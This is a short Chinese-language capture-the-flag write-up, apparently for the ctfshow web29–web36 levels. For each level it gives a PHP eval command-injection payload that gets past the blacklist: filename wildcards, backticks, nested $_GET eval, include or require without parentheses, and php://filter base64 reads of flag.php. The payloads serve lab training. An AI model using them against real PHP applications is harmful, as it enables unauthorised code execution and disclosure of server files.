web29
查看目录
?
由于flag被过滤，可以使用通配符进行绕过，查看flag.php
c=system("nl fla?????");web30
在上一道题的基础上多了system和php
运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)
web31
?
又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换
c=eval($_GET[1]);&1=echo `nl flag.php `;
web32
?
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 33
?
多过滤了一个双引号，用require函数
c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 34? 35
与上面类似? 只是多过滤了符号
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
相比较增加了? 过滤数字
将include的参数1改成字母，include的无括号包含可以不用空格
?
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php